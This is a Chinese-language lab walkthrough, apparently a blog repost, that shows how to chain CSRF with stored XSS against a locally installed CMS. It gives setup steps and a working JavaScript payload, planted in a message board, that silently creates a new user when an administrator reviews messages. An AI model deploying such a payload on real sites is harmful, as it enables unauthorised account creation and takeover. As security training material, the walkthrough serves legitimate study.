当前位置: 首页 > news >正文

CSRF+XSS组合攻击实战

目录

0x01安装靶场

0x02分析功能点的请求接口,构造恶意请求

0x03寻找xss漏洞


0x01安装靶场

下载源码,解压到网站根目录

1.修改数据库配置文件

打开源码,进入到include目录下,打开数据库配置文件database.inc.php

将数据库的用户名和密码修改为自己数据库的用户名和密码,数据库名可以不改。然后保存。

2.导入SQL文件

方法一:使用Navicat导入

打开navicate,新建数据库,名字写为刚才我们上面的数据库名,若没有修改,数据库名就是cms

右键点击我们刚才的数据库,选择运行SQL文件(若右键之后,运行SQL文件是灰色的,则先点击打开数据库)

选择源码下的install.sql文件

然后浏览器打开访问网站。

方法二:命令行方式导入

打开命令行,win+r,输入cmd,回车,在命令行界面输入mysql -u root -p

输入密码。

创建数据库 creat database cms

选中数据库use cms,导入sql文件,source sql文件地址

例如:source D:\phpstudy_pro\WWW\cms\install.sql

导入成功,打开浏览器访问网站。

访问路径:域名\cms\index.php

0x02分析功能点的请求接口,构造恶意请求

进入后台管理界面找到添加用户的功能点,进行抓包分析

管理员用户名admin,密码123456

添加用户,进行抓包

右键利用burpsuite自带的csrfPOC生成工具生成

把这个复制写到一个页面上,在登录到那个cms管理员账户的情况下,访问这个页面,就会发现用户里面多了一条用户记录。由于CSRF利用条件比较苛刻,需要受害者点击恶意请求。因此我们可需要借助XSS来扩大危害,借用XSS漏洞执行JS代码,让JS直接发起请求,从而不需要让受害者点击恶意请求了。

0x03寻找xss漏洞

编写恶意JS代码

<script> xmlhttp = new XMLHttpRequest(); xmlhttp.open("post","http://localhost:8083/cms/admin/user.action.php",false); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("act=add&username=zhang&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0"); </script>

代码说明

xmlhttp = new XMLHttpRequest(); 
  • 创建 XMLHttpRequest 对象XMLHttpRequest 是 JavaScript 用于与服务器进行交互的对象。在这里,创建了一个新的 XMLHttpRequest 对象 xmlhttp

xmlhttp.open("post", "http://localhost:8083/cms/admin/user.action.php", false);
  • 初始化请求

    • open() 方法用于初始化一个请求。这里指定了请求方法为 POST

    • 第一个参数 "post" 表示 HTTP 请求的方法是 POST。

    • 第二个参数 http://localhost:8083/cms/admin/user.action.php 是请求的 URL。

    • 第三个参数 false 表示同步请求(阻塞调用),即 JavaScript 执行将暂停,直到请求完成。

xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  • 设置请求头setRequestHeader() 方法用于设置 HTTP 请求头。这里设置 Content-typeapplication/x-www-form-urlencoded,表示发送的数据将按照表单 URL 编码的方式进行编码。

xmlhttp.send("act=add&username=yuanboss&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
  • 发送请求

    send()

    方法用于发送 HTTP 请求。这里发送的数据是一个 URL 编码的字符串:

    • "act=add":操作类型是“add”,表示要添加一个用户。

    • "username=zhang":用户名是“zhang”。

    • "password=123456""password2=123456":密码是“123456”,两次确认输入。

    • "button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7":提交按钮的值,URL 解码后是“添加用户”。

    • "userid=0":用户 ID 为0,通常表示新用户。

通过查询cms靶场,找到了一个留言板,因为留言板需要管理员去审核,所以可以进行一个存储型xss注入。

在留言板留言我们刚才构造的恶意JS代码,进行xss+csrf组合攻击

模仿管理员去审核留言

打开账号管理,查看账号

多了一条用户名为张的用户记录。

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • MySQL1.试建产品库
  • 网友提问:display:flex和display:box有什么区别?
  • k8s核心操作_存储抽象_K8S中使用Secret功能来存储密码_使用免密拉取镜像_k8s核心实战总结---分布式云原生部署架构搭建033
  • Android 记录锁屏的上层相关源码以及debug WindowManager
  • 大数据环境下的房地产数据分析与预测研究的设计与实现
  • 5 webSocket
  • 1个Xpath定位可以在Web页面查找到多个元素Selenium
  • Nginx部署前端项目尝试 - windows版
  • git commit报错: pre-commit hook failed (add --no-verify to bypass)
  • ceph log内容解析
  • 针对【module_or_function】的单元测试,全面覆盖可能的【edge_cases】
  • 云计算实训10——frp服务的搭建、ftp服务的搭建
  • Elasticsearch 使用terms对long类型日期统计按月销售
  • 1、springboot3 vue3开发平台-后端-项目构建
  • Go语言之参数传递
  • 「前端早读君006」移动开发必备:那些玩转H5的小技巧
  • 【407天】跃迁之路——程序员高效学习方法论探索系列(实验阶段164-2018.03.19)...
  • 【干货分享】SpringCloud微服务架构分布式组件如何共享session对象
  • Apache Pulsar 2.1 重磅发布
  • hadoop入门学习教程--DKHadoop完整安装步骤
  • iOS小技巧之UIImagePickerController实现头像选择
  • Netty+SpringBoot+FastDFS+Html5实现聊天App(六)
  • Netty源码解析1-Buffer
  • nodejs调试方法
  • python_bomb----数据类型总结
  • React Native移动开发实战-3-实现页面间的数据传递
  • storm drpc实例
  • Vue2.0 实现互斥
  • vue2.0项目引入element-ui
  • yii2中session跨域名的问题
  • 从零搭建Koa2 Server
  • 浮现式设计
  • 关于Flux,Vuex,Redux的思考
  • 技术发展面试
  • 解析 Webpack中import、require、按需加载的执行过程
  • 买一台 iPhone X,还是创建一家未来的独角兽?
  • 那些年我们用过的显示性能指标
  • 温故知新之javascript面向对象
  • 进程与线程(三)——进程/线程间通信
  • ​14:00面试,14:06就出来了,问的问题有点变态。。。
  • ​比特币大跌的 2 个原因
  • ​用户画像从0到100的构建思路
  • #AngularJS#$sce.trustAsResourceUrl
  • #pragam once 和 #ifndef 预编译头
  • (04)Hive的相关概念——order by 、sort by、distribute by 、cluster by
  • (152)时序收敛--->(02)时序收敛二
  • (17)Hive ——MR任务的map与reduce个数由什么决定?
  • (C++哈希表01)
  • (超简单)构建高可用网络应用:使用Nginx进行负载均衡与健康检查
  • (十)【Jmeter】线程(Threads(Users))之jp@gc - Stepping Thread Group (deprecated)
  • (算法)硬币问题
  • (学习日记)2024.02.29:UCOSIII第二节
  • (转)JAVA中的堆栈
  • (转)Windows2003安全设置/维护
  • ../depcomp: line 571: exec: g++: not found